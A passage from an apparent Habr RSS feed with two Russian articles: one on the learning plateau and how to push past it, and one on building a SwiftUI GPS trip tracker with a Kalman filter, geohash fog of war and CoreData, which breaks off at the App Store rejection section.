src=https://habrastorage.org/r/w1560/getpro/habr//post_images/2d5/43c/8b6/2d543c8b65bcfac6492b3d239945e530.jpg sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/2d5/43c/8b6/2d543c8b65bcfac6492b3d239945e530.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/2d5/43c/8b6/2d543c8b65bcfac6492b3d239945e530.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Это, скорее, неровная лестница с очень длинными, плоскими площадками. И чтобы понять, почему мы на них застреваем, нужно заглянуть «под капот» нашего мозга.&lt;p&gt;Весь процесс можно разделить на три ключевых этапа:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Этап 1: Радость новичка (или Эффект низкой базы)&lt;/strong&gt; Когда вы беретесь за что-то с абсолютного нуля, любое новое знание дает колоссальный прирост. Выучили алфавит — уже можете читать вывески. Запомнили три аккорда — уже можете сыграть десяток песен. Это сбор самых «низковисящих яблок». Мозг в восторге от таких быстрых и легких побед, он щедро заливает вас дофамином (гормоном вознаграждения), и вам кажется, что вы — гений, а обучение всегда будет таким же драйвовым.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Этап 2: Столкновение со стеной (Смена правил игры)&lt;/strong&gt; Спустя пару недель или месяцев низковисящие яблоки заканчиваются. Чтобы двигаться дальше, теперь нужно лезть на дерево. На этом этапе характер обучения радикально меняется: вам больше не нужно просто запоминать изолированные факты (слова, формулы, кнопки в программе). Теперь вам нужно научиться их комбинировать. Одно дело — знать перевод 50 слов, и совсем другое — на лету составить из них грамматически правильное предложение в разговоре с иностранцем. Скорость прогресса резко падает, потому что задача стала на порядок сложнее.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Этап 3: Когнитивная перегрузка (Та самая скрытая работа мозга)&lt;/strong&gt; Именно здесь наступает Эффект плато. Внешне кажется, что прогресс остановился. Вы учите, учите, а ничего не меняется. Но внутри вашей головы прямо сейчас идет тяжелейшая стройка. Мозг переносит разрозненные знания из кратковременной памяти в долговременную. Он физически выстраивает новые, более плотные нейронные связи, чтобы автоматизировать навык. Это как дефрагментация жесткого диска или установка тяжелого обновления: в этот момент «система» может зависать и тормозить. Мозг просто не способен одновременно усваивать огромные объемы новой информации и структурировать старую. Ему нужна пауза.&lt;/ul&gt;&lt;p&gt;Итог этой анатомии прост: плато — это не сбой в системе и не ваша личная глупость. Это период консолидации. Вы не стоите на месте, вы пускаете корни, чтобы фундамент ваших знаний стал достаточно крепким для следующего рывка вверх.&lt;h4&gt;3. Как плато убивает мотивацию (Психологическая ловушка)&lt;/h4&gt;&lt;p&gt;Если физиологически плато — это просто нормальная техническая пауза мозга, то психологически — это настоящая мясорубка для нашей самооценки.&lt;p&gt;Остановка прогресса ощущается не как этап роста, а как личный провал. Почему именно на этой стадии сдается подавляющее большинство людей? Всё дело в нескольких когнитивных ловушках, в которые мы проваливаемся одна за другой.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Дофаминовая яма (Где моя награда?)&lt;/strong&gt; Наш мозг дрессирует сам себя с помощью дофамина — гормона предвкушения и вознаграждения. В начале пути всё работало как часы: вы сделали усилие — получили видимый результат — мозг впрыснул дофамин («Я молодец!»). На плато этот автомат со сладостями ломается. Вы продолжаете закидывать в него монетки (свое время и силы), дергаете за рычаг, а шоколадка не падает. Мозг не получает награды за тяжелую работу, и его естественная реакция — включить режим энергосбережения: «Шеф, это невыгодная сделка, сворачиваем лавочку». Наступает апатия.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Самобичевание и синдром самозванца&lt;/strong&gt; Вместо того чтобы сказать себе: «Ого, мой мозг сейчас занят сложнейшим процессом формирования нейронных связей», мы переходим на личности. Нам кажется, что проблема не в объективном процессе обучения, а в нас самих. Всплывают старые школьные комплексы: «У меня гуманитарный склад ума, куда я полез в код», «Мне медведь на ухо наступил» или то самое «Я просто тупой». Мы начинаем искренне верить, что достигли своего биологического потолка.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Токсичное сравнение и «ошибка выжившего»&lt;/strong&gt; Плато становится невыносимым, когда вы открываете соцсети. В вашей ленте кто-то уже через месяц говорит на испанском, запускает стартап или рисует шедевры. Нам кажется, что все вокруг летят на ракете, пока мы едем на квадратных колесах. Но это типичная ошибка выжившего: люди выкладывают в интернет только свои прорывы и конечные результаты (ту самую «радость новичка» или итоговый триумф). Никто не снимает сторис о том, как он третью неделю тупо смотрит в монитор, пытаясь понять, почему не работает одна строчка кода. Мы сравниваем свое закулисье с чужой парадной витриной.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Смертельная ошибка: попытка пробить стену лбом (Риск выгорания)&lt;/strong&gt; Что делает человек, когда чувствует, что отстает и тупеет? Он начинает злиться на себя и удваивать усилия. Вы решаете сидеть за учебником не час, а три. Вы лишаете себя отдыха, заставляя мозг впитывать информацию насильно. Но вспомните предыдущий пункт: ваша «оперативная память» сейчас переполнена! Пытаться впихнуть в себя новые знания на плато — это как заливать бензин в уже полный бак: он просто польется через край. В итоге вы не получаете знаний, зато зарабатываете нервный срыв, полное выгорание и стойкое отвращение к тому, что еще недавно так любили.&lt;/ul&gt;&lt;p&gt;Плато убеждает нас в том, что мы проиграли. Но это всего лишь иллюзия, сбой в матрице нашего восприятия. Главное правило на этом этапе — не верить своим эмоциям. А вот что именно нужно делать, чтобы сдвинуться с мертвой точки, разберем дальше.&lt;h4&gt;4. Инструкция по прорыву: Как сдвинуться с мертвой точки&lt;/h4&gt;&lt;p&gt;Итак, вы осознали, что находитесь на плато. Вы не сломались, вы не поглупели, просто старые методы перестали работать. Чтобы перезапустить процесс и снова увидеть прогресс, нужно перестать биться головой в закрытую дверь и попробовать открыть ее иначе.&lt;p&gt;Вот пять практических шагов, которые помогут вывести мозг из ступора.&lt;p&gt;&lt;strong&gt;Шаг 1. Радикальное принятие и отдых (Да, просто отстаньте от себя)&lt;/strong&gt; Первое, что нужно сделать — легализовать свой застой. Скажите себе вслух: «Я на плато, это нормально, прямо сейчас мой мозг укладывает знания по полочкам». А затем сделайте то, что кажется самым нелогичным: остановитесь. Возьмите паузу на несколько дней или даже на неделю. Без чувства вины, без мыслей об упущенном времени. Запомните: отдых в обучении — это не отсутствие работы, это время, когда происходит консолидация памяти. Часто после хорошего отпуска или просто выходных без зубрежки сложная тема, над которой вы бились неделями, вдруг становится кристально понятной.&lt;p&gt;&lt;strong&gt;Шаг 2. Смена угла атаки (Латеральное обучение)&lt;/strong&gt; Если вы долго идете по одной дороге и упираетесь в стену, попробуйте свернуть вбок. Часто мы застреваем не потому, что тема слишком сложная, а потому, что нам не подходит текущий формат ее подачи.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Не понимаете главу в учебнике? Закройте его и найдите объяснение этой темы на YouTube на пальцах.&lt;li&gt;&lt;p&gt;Застряли в теории? Бросьте ее и попробуйте сделать что-то руками на практике, пусть даже криво.&lt;li&gt;&lt;p&gt;Устали от своего преподавателя или курса? Послушайте лекцию другого специалиста. Смена контекста дает мозгу новую зацепку, свежий взгляд на проблему, который может стать тем самым недостающим кусочком пазла.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Шаг 3. Декомпозиция и возврат микро-побед&lt;/strong&gt; Вам нужно срочно починить ваш «дофаминовый автомат», который перестал выдавать награду. Глобальная цель («свободно говорить на английском» или «стать senior-разработчиком») сейчас кажется недостижимой, и это убивает мотивацию. Разбейте задачу на микро-цели, которые можно выполнить за один вечер. Не «выучить времена глаголов», а «научиться рассказывать о том, что я ел на завтрак». Не «написать приложение», а «сделать так, чтобы при нажатии на эту кнопку менялся цвет экрана». Выполнили — похвалили себя. Эти маленькие дофаминовые всплески вернут вам ощущение контроля и веру в свои силы.&lt;p&gt;&lt;strong&gt;Шаг 4. Поиск «слепых зон» через обратную связь&lt;/strong&gt; Иногда плато возникает потому, что мы раз за разом повторяем одну и ту же неочевидную ошибку. Наш мозг ее автоматизировал и теперь считает нормой. Вы можете месяцами топтаться на месте, пытаясь понять, что не так. Вам нужен взгляд со стороны. Покажите свой код более опытному программисту, сходите на разовую консультацию к репетитору, попросите тренера посмотреть на вашу технику выполнения упражнения. Одно точное замечание ментора способно сэкономить вам недели бесплодных попыток.&lt;p&gt;&lt;strong&gt;Шаг 5. Искусственное усложнение (Вызов самому себе)&lt;/strong&gt; Парадокс, но иногда мы застреваем на плато просто потому, что нам стало скучно. Мозг привык к рутине, перешел в энергосберегающий режим автопилота и отказывается напрягаться. Встряхните его искусственным стрессом! Попробуйте применить свои навыки в непривычных условиях:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Сделайте привычную задачу, но поставьте жесткий таймер.&lt;li&gt;&lt;p&gt;Запишитесь на любительские соревнования или хакатон.&lt;li&gt;&lt;p&gt;Попробуйте объяснить тему, которую сейчас изучаете, человеку, который в ней вообще ничего не смыслит (метод Фейнмана). Когда вы ставите себя в условия легкого стресса или публичности, мозг мгновенно мобилизует все скрытые резервы, пробивая потолок стагнации.&lt;/ul&gt;&lt;h4&gt;5. Заключение: Плато — это ваш фундамент&lt;/h4&gt;&lt;p&gt;Давайте навсегда изменим то, как мы смотрим на процесс обучения. Забудьте про ровную, красивую диагональ успеха из модных презентаций. Настоящее освоение любого навыка больше всего похоже на подъем по очень длинной и крутой лестнице.&lt;p&gt;Эффект плато в этой метафоре — это не глухая стена, в которую вы врезались, и не замок на двери. &lt;strong&gt;Это просто лестничная площадка между пролетами.&lt;/strong&gt; Вы преодолели первый крутой подъем, ваши «когнитивные мышцы» горят, пульс зашкаливает. Вам жизненно необходимо остановиться, чтобы отдышаться, оглядеться и закрепить результат перед тем, как штурмовать следующий этаж. Если вы попытаетесь бежать по лестнице без остановок — вы просто рухнете без сил.&lt;p&gt;Именно на плато закладывается ваш реальный фундамент. Быстрые старты и легкие победы новичка — это приятно, но они не делают из вас профессионала. Истинное мастерство выковывается именно в моменты этих долгих, внешне неэффектных застоев. Вы учитесь не сдаваться, когда пропадает внешняя мотивация, а мозг в тишине и без аплодисментов делает самую сложную работу — меняет собственную архитектуру.&lt;p&gt;Поэтому в следующий раз, когда вы будете сидеть над задачей и в голове снова всплывет та самая липкая мысль: &lt;em&gt;«Я просто тупой, это не мое»&lt;/em&gt;, — поймайте ее и улыбнитесь. Поприветствуйте это чувство.&lt;p&gt;Анонсы новых статей, полезные материалы, а так же если в процессе у вас возникнут сложности, обсудить их или задать вопрос по этой статье можно в &lt;a href=https://t.me/+NlTdqmVuBkIzMDBi rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;моём Telegram-сообществе&lt;/strong&gt;&lt;/a&gt;. Смело заходите, если что-то пойдет не так, — постараемся разобраться вместе.&lt;p&gt;Ведь оно означает только одно: прямо сейчас вы делаете по-настоящему сложную работу. Вы не поглупели и не остановились. Вы находитесь за секунду до качественного скачка на новый уровень. Выдохните, дайте себе отдохнуть — и продолжайте путь, когда будете готовы.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>enamored_poc</author>
      <guid>https://habr.com/ru/articles/1024898/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024898</guid>
      <pubDate>Sat, 18 Apr 2026 05:57:38 +0000</pubDate>
    </item>
    <item>
      <title>Фильтр Калмана, geohash fog of war и три реджекта Apple: как я собрал GPS-трекер на SwiftUI</title>
      <link>https://habr.com/ru/articles/1024896/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024896</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;В 2024 году Google тихо убил Timeline в Google Maps. Историю местоположений перевели в «локальный режим», который на практике работает через раз – данные теряются, синхронизации нет, а у многих просто исчезли годы накопленной истории.&lt;p&gt;Для меня это было важно: я много езжу на машине и хотел знать простую вещь – сколько конкретная поездка стоит в бензине. Не средний расход за месяц по бортовику, а вот этот маршрут – сколько литров, сколько рублей. Ничего подходящего не нашёл и решил написать сам.&lt;p&gt;Контекст: я бэкенд-разработчик, до этого проекта не написал ни строчки на Swift. iOS для меня был чёрным ящиком – CoreLocation, MapKit, жизненный цикл приложения, фоновые режимы, App Store Review. Идея жила в голове три года, но подступиться не мог: казалось, что одному, без мобильного опыта, это неподъёмно. Сдвинулось всё, когда я начал работать с AI-агентами (Claude + Cursor) – но об этом ближе к концу.&lt;p&gt;Под катом (дальше) – про фоновый GPS-трекинг на iOS, фильтр Калмана без IMU, fog of war на geohash, кастомный рендеринг маршрутов, грабли App Store Review и про то, как бэкендер собрал iOS-приложение за месяц вечерами после работы.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8a0/ef2/90d/8a0ef290d8c2b37892eaa751f277ba1e.PNG alt=&#34;маршрут на карте, окрашенный по скорости&#34; title=&#34;маршрут на карте, окрашенный по скорости&#34; width=1170 height=2532 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8a0/ef2/90d/8a0ef290d8c2b37892eaa751f277ba1e.PNG 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8a0/ef2/90d/8a0ef290d8c2b37892eaa751f277ba1e.PNG 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;маршрут на карте, окрашенный по скорости&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Задача и ограничения&lt;/h3&gt;&lt;p&gt;Нужен GPS-трекер для автомобильных поездок: нажал старт, убрал телефон, поехал. Приложение пишет трек в фоне, после поездки показывает маршрут, считает расход и стоимость. Всё офлайн, без серверов.&lt;p&gt;Ограничения:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;iOS-only&lt;/strong&gt; – один разработчик, ограниченное время&lt;li&gt;&lt;p&gt;&lt;strong&gt;Нулевой опыт в iOS&lt;/strong&gt; – бэкенд на основной работе, Swift вижу первый раз&lt;li&gt;&lt;p&gt;&lt;strong&gt;Вечера и выходные&lt;/strong&gt; – полноценная пятидневка днём, проект только после работы&lt;li&gt;&lt;p&gt;&lt;strong&gt;iOS 17+&lt;/strong&gt; – осознанный выбор, потому что &lt;code&gt;Map&lt;/code&gt; с &lt;code&gt;MapPolyline&lt;/code&gt; в SwiftUI появился именно в 17-й версии. Альтернатива – оборачивать &lt;code&gt;MKMapView&lt;/code&gt; через &lt;code&gt;UIViewRepresentable&lt;/code&gt;, но это отдельный слой боли с координацией состояния&lt;li&gt;&lt;p&gt;&lt;strong&gt;Без сторонних зависимостей&lt;/strong&gt; – только системные фреймворки: CoreLocation, MapKit, CoreData, ActivityKit&lt;li&gt;&lt;p&gt;&lt;strong&gt;Фоновая работа без убийства батареи&lt;/strong&gt; – главный технический вызов&lt;/ul&gt;&lt;h3&gt;CoreLocation: фоновый трекинг&lt;/h3&gt;&lt;p&gt;Основа – &lt;code&gt;CLLocationManager&lt;/code&gt; с &lt;code&gt;allowsBackgroundLocationUpdates = true&lt;/code&gt;. iOS позволяет получать координаты в фоне, но с условиями: нужен entitlement &lt;code&gt;location&lt;/code&gt; в Background Modes, и описание зачем приложению Always-доступ к геолокации в &lt;code&gt;Info.plist&lt;/code&gt;.&lt;p&gt;Первая версия писала каждую точку от &lt;code&gt;CLLocationManager&lt;/code&gt;. За часовую поездку – тысячи координат, база раздувалась, отрисовка маршрута тормозила. Решение – фильтрация на входе:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;desiredAccuracy = kCLLocationAccuracyBest&lt;/code&gt; – максимальная точность (GPS, не Wi-Fi/сотовые вышки)&lt;li&gt;&lt;p&gt;&lt;code&gt;distanceFilter = 10&lt;/code&gt; – игнорировать обновления, если сместился меньше чем на 10 метров&lt;li&gt;&lt;p&gt;Дополнительно: отбрасываем точки с &lt;code&gt;horizontalAccuracy &amp;gt; 50&lt;/code&gt; – это шум&lt;/ul&gt;&lt;p&gt;После фильтрации средняя поездка – 200–500 точек. За 60+ поездок база занимает ~15 МБ.&lt;h4&gt;Проблема: GPS-глушение&lt;/h4&gt;&lt;p&gt;На трассе Краснодар – Геленджик есть участки, где GPS пропадает на 10–30 секунд. Навигатор показывает что ты едешь по полю. На карте – прямая линия через лес.&lt;p&gt;В automotive-навигаторах эту проблему решают &lt;strong&gt;sensor fusion&lt;/strong&gt;: GPS + акселерометр + гироскоп. Но на iOS в фоновом режиме &lt;code&gt;CMMotionManager&lt;/code&gt; недоступен – система не даёт читать IMU когда приложение не на экране.&lt;p&gt;Остаётся &lt;strong&gt;фильтр Калмана на чистом GPS&lt;/strong&gt; – без инерциальных данных, только координаты и их точность.&lt;pre&gt;&lt;code class=swift&gt;func processLocation(_ location: CLLocation) -&amp;gt; CLLocation {&#xA;    guard let previous = lastFilteredLocation else {&#xA;        lastFilteredLocation = location&#xA;        return location&#xA;    }&#xA;&#xA;    let dt = location.timestamp.timeIntervalSince(previous.timestamp)&#xA;&#xA;    // Prediction step: uncertainty grows with time&#xA;    let processNoise = dt * speedVariance&#xA;    predictedVariance += processNoise&#xA;&#xA;    // Update step: blend prediction with measurement&#xA;    let measurementVariance = location.horizontalAccuracy * location.horizontalAccuracy&#xA;    let kalmanGain = predictedVariance / (predictedVariance + measurementVariance)&#xA;&#xA;    let lat = previous.coordinate.latitude&#xA;        + kalmanGain * (location.coordinate.latitude - previous.coordinate.latitude)&#xA;    let lon = previous.coordinate.longitude&#xA;        + kalmanGain * (location.coordinate.longitude - previous.coordinate.longitude)&#xA;&#xA;    predictedVariance = (1 - kalmanGain) * predictedVariance&#xA;&#xA;    let filtered = CLLocation(&#xA;        coordinate: CLLocationCoordinate2D(latitude: lat, longitude: lon),&#xA;        altitude: location.altitude,&#xA;        horizontalAccuracy: sqrt(predictedVariance),&#xA;        verticalAccuracy: location.verticalAccuracy,&#xA;        timestamp: location.timestamp&#xA;    )&#xA;    lastFilteredLocation = filtered&#xA;    return filtered&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Идея: если &lt;code&gt;horizontalAccuracy&lt;/code&gt; у новой точки большая (GPS неуверен) – &lt;code&gt;kalmanGain&lt;/code&gt; маленький и мы больше доверяем предыдущей позиции. Если точность хорошая – больше доверяем измерению.&lt;p&gt;Это работает для коротких пробелов (до ~10 секунд на скорости 80–100 км/ч). Для длинных дыр – пост-обработка после завершения поездки: интерполяция кубическими сплайнами между последней надёжной точкой перед провалом и первой после.&lt;h3&gt;Рендеринг маршрута по скорости&lt;/h3&gt;&lt;p&gt;Маршрут на карте окрашивается по скорости в каждой точке:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Зелёный&lt;/strong&gt;: &amp;lt; 50 км/ч (город, парковка)&lt;li&gt;&lt;p&gt;&lt;strong&gt;Жёлтый&lt;/strong&gt;: 50–90 км/ч (городские магистрали)&lt;li&gt;&lt;p&gt;&lt;strong&gt;Оранжевый&lt;/strong&gt;: 90–110 км/ч (трасса)&lt;li&gt;&lt;p&gt;&lt;strong&gt;Красный&lt;/strong&gt;: &amp;gt; 110 км/ч&lt;/ul&gt;&lt;p&gt;В SwiftUI (iOS 17+) для этого есть &lt;code&gt;MapPolyline&lt;/code&gt;, но один &lt;code&gt;MapPolyline&lt;/code&gt; – один цвет. Маршрут из 300 точек с меняющейся скоростью – это не один полилайн, а массив сегментов.&lt;p&gt;Решение: разбиваем массив координат на сегменты с одинаковым цветом. Каждый сегмент – отдельный &lt;code&gt;MapPolyline&lt;/code&gt; с &lt;code&gt;.stroke&lt;/code&gt; нужного цвета. Соседние сегменты перекрываются на одну точку, чтобы не было разрывов.&lt;pre&gt;&lt;code class=swift&gt;struct SpeedSegment {&#xA;    let coordinates: [CLLocationCoordinate2D]&#xA;    let color: Color&#xA;}&#xA;&#xA;func buildSegments(from points: [LocationPoint]) -&amp;gt; [SpeedSegment] {&#xA;    var segments: [SpeedSegment] = []&#xA;    var currentCoords: [CLLocationCoordinate2D] = []&#xA;    var currentColor: Color = .green&#xA;&#xA;    for point in points {&#xA;        let color = speedColor(for: point.speed)&#xA;        if color != currentColor &amp;amp;&amp;amp; !currentCoords.isEmpty {&#xA;            segments.append(SpeedSegment(&#xA;                coordinates: currentCoords,&#xA;                color: currentColor&#xA;            ))&#xA;            // Overlap: last point of prev segment = first of next&#xA;            currentCoords = [currentCoords.last!]&#xA;        }&#xA;        currentCoords.append(point.coordinate)&#xA;        currentColor = color&#xA;    }&#xA;&#xA;    if !currentCoords.isEmpty {&#xA;        segments.append(SpeedSegment(&#xA;            coordinates: currentCoords,&#xA;            color: currentColor&#xA;        ))&#xA;    }&#xA;    return segments&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;На карте 20–50 полилайнов вместо одного. По производительности – нормально, MapKit справляется. При 500+ точках начинает быть заметно на старых устройствах, но для типичной поездки достаточно.&lt;h3&gt;Fog of war на geohash&lt;/h3&gt;&lt;p&gt;Карта закрыта полупрозрачным оверлеем, который рассеивается там, где проехал – как fog of war в стратегиях. Технически это самая интересная часть.&lt;h4&gt;Почему geohash&lt;/h4&gt;&lt;p&gt;Нужна структура данных, которая отвечает на вопрос «проезжал ли я через эту область?» для произвольной точки на карте. Варианты:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Хранить все GPS-точки и проверять расстояние&lt;/strong&gt; – O(n) на каждый запрос, не масштабируется&lt;li&gt;&lt;p&gt;&lt;strong&gt;Quadtree&lt;/strong&gt; – хорошо, но сложно сериализовать в CoreData&lt;li&gt;&lt;p&gt;&lt;strong&gt;Geohash&lt;/strong&gt; – строка фиксированной длины, кодирующая прямоугольную область. Сравнение – простой prefix match. Хранение – &lt;code&gt;Set&amp;lt;String&amp;gt;&lt;/code&gt;. Сериализация тривиальная&lt;/ul&gt;&lt;p&gt;Geohash кодирует координату в строку вида &lt;code&gt;sczg4p&lt;/code&gt;. Длина строки определяет точность:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=109 width=109&gt;&lt;p align=left&gt;Precision&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;Размер ячейки&lt;td data-colwidth=332 width=332&gt;&lt;p align=left&gt;Применение&lt;tr&gt;&lt;td data-colwidth=109 width=109&gt;&lt;p align=left&gt;5&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;~4.9 × 4.9 км&lt;td data-colwidth=332 width=332&gt;&lt;p align=left&gt;Обзор страны&lt;tr&gt;&lt;td data-colwidth=109 width=109&gt;&lt;p align=left&gt;6&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;~1.2 × 0.6 км&lt;td data-colwidth=332 width=332&gt;&lt;p align=left&gt;Обзор города&lt;tr&gt;&lt;td data-colwidth=109 width=109&gt;&lt;p align=left&gt;7&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;~150 × 150 м&lt;td data-colwidth=332 width=332&gt;&lt;p align=left&gt;Детальный вид&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Алгоритм кодирования – чередующееся бинарное деление по долготе и широте:&lt;pre&gt;&lt;code class=swift&gt;func encode(latitude: Double, longitude: Double, precision: Int) -&amp;gt; String {&#xA;    let base32 = Array(&amp;#34;0123456789bcdefghjkmnpqrstuvwxyz&amp;#34;)&#xA;    var latRange = (-90.0, 90.0)&#xA;    var lonRange = (-180.0, 180.0)&#xA;    var isEven = true&#xA;    var bit = 0&#xA;    var ch = 0&#xA;    var hash = &amp;#34;&amp;#34;&#xA;&#xA;    while hash.count &amp;lt; precision {&#xA;        if isEven {&#xA;            let mid = (lonRange.0 + lonRange.1) / 2&#xA;            if longitude &amp;gt;= mid {&#xA;                ch |= (1 &amp;lt;&amp;lt; (4 - bit))&#xA;                lonRange.0 = mid&#xA;            } else {&#xA;                lonRange.1 = mid&#xA;            }&#xA;        } else {&#xA;            let mid = (latRange.0 + latRange.1) / 2&#xA;            if latitude &amp;gt;= mid {&#xA;                ch |= (1 &amp;lt;&amp;lt; (4 - bit))&#xA;                latRange.0 = mid&#xA;            } else {&#xA;                latRange.1 = mid&#xA;            }&#xA;        }&#xA;        isEven.toggle()&#xA;        bit += 1&#xA;        if bit == 5 {&#xA;            hash.append(base32[ch])&#xA;            bit = 0&#xA;            ch = 0&#xA;        }&#xA;    }&#xA;    return hash&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h4&gt;Отрисовка тумана&lt;/h4&gt;&lt;p&gt;При каждом обновлении видимой области карты:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Вычисляем geohash-ячейки, попадающие в видимую область&lt;li&gt;&lt;p&gt;Для каждой ячейки проверяем – есть ли она в &lt;code&gt;Set&amp;lt;String&amp;gt;&lt;/code&gt; посещённых&lt;li&gt;&lt;p&gt;Непосещённые ячейки закрываем полупрозрачным &lt;code&gt;MKPolygon&lt;/code&gt;&lt;/ol&gt;&lt;p&gt;На низком зуме (вся страна) это precision 5 – десятки ячеек. На высоком зуме (улица) – precision 7, сотни ячеек. Переключение precision происходит по порогу &lt;code&gt;MKCoordinateSpan&lt;/code&gt;.&lt;h4&gt;Анимация рассеивания&lt;/h4&gt;&lt;p&gt;Во время записи поездки, когда водитель проезжает через новую ячейку – туман рассеивается с анимацией 0.7 секунды easeOut. Реализовано через &lt;code&gt;withAnimation&lt;/code&gt; на opacity оверлея конкретной ячейки. Визуально приятно – видно как карта «открывается» в реальном времени.&lt;h4&gt;Текущие ограничения&lt;/h4&gt;&lt;p&gt;Geohash-ячейки прямоугольные – границы тумана выглядят «пиксельно», как в играх 90-х. В бэклоге – переход на градиентный рендеринг с размытием краёв, чтобы туман выглядел плавно. Если кто-то реализовывал подобное на MapKit – буду рад обсудить подходы.&lt;h3&gt;Live Activity: зачем и как&lt;/h3&gt;&lt;p&gt;Без визуального индикатора записи я регулярно забывал остановить трекинг. Телефон записывал GPS всю ночь, утром батарея на нуле. Live Activity на экране блокировки решает проблему – видно что запись идёт, даже когда телефон в кармане.&lt;p&gt;ActivityKit API:&lt;pre&gt;&lt;code class=swift&gt;// Запуск&#xA;let attributes = TripActivityAttributes(carName: &amp;#34;Polo Sedan&amp;#34;)&#xA;let state = TripActivityAttributes.ContentState(&#xA;    speed: 0,&#xA;    distance: 0,&#xA;    duration: 0&#xA;)&#xA;let activity = try Activity.request(&#xA;    attributes: attributes,&#xA;    content: .init(state: state, staleDate: nil)&#xA;)&#xA;&#xA;// Обновление (каждую секунду из CLLocationManager delegate)&#xA;let updatedState = TripActivityAttributes.ContentState(&#xA;    speed: currentSpeed,&#xA;    distance: totalDistance,&#xA;    duration: elapsedTime&#xA;)&#xA;await activity.update(.init(state: updatedState, staleDate: nil))&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Нюанс: iOS ограничивает частоту обновлений Live Activity – примерно раз в секунду, чаще бесполезно. Для спидометра достаточно.&lt;h3&gt;Хранение данных: CoreData&lt;/h3&gt;&lt;p&gt;Схема простая:&lt;pre&gt;&lt;code class=bash&gt;TripEntity (1) ──── (*) LocationPointEntity&#xA;    │&#xA;    ├── startDate: Date&#xA;    ├── endDate: Date&#xA;    ├── distance: Double&#xA;    ├── maxSpeed: Double&#xA;    ├── avgSpeed: Double&#xA;    └── fuelCost: Double&#xA;&#xA;LocationPointEntity&#xA;    ├── latitude: Double&#xA;    ├── longitude: Double&#xA;    ├── speed: Double&#xA;    ├── altitude: Double&#xA;    ├── timestamp: Date&#xA;    └── horizontalAccuracy: Double&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Fog of war хранится отдельно: &lt;code&gt;ExploredCellEntity&lt;/code&gt; с единственным полем &lt;code&gt;geohash: String&lt;/code&gt; и уникальным индексом. При записи новой точки – вычисляем geohash нужных precision и вставляем в базу (с &lt;code&gt;NSMergeByPropertyObjectTrumpMergePolicy&lt;/code&gt; чтобы дубли игнорировались).&lt;p&gt;Средняя поездка – 200–500 &lt;code&gt;LocationPointEntity&lt;/code&gt;. За 60+ поездок суммарно ~15 МБ. CoreData с SQLite справляется без проблем.&lt;h3&gt;Три реджекта Apple&lt;/h3&gt;&lt;p&gt;Приложение отклоняли три раза перед одобрением. Каждый – про 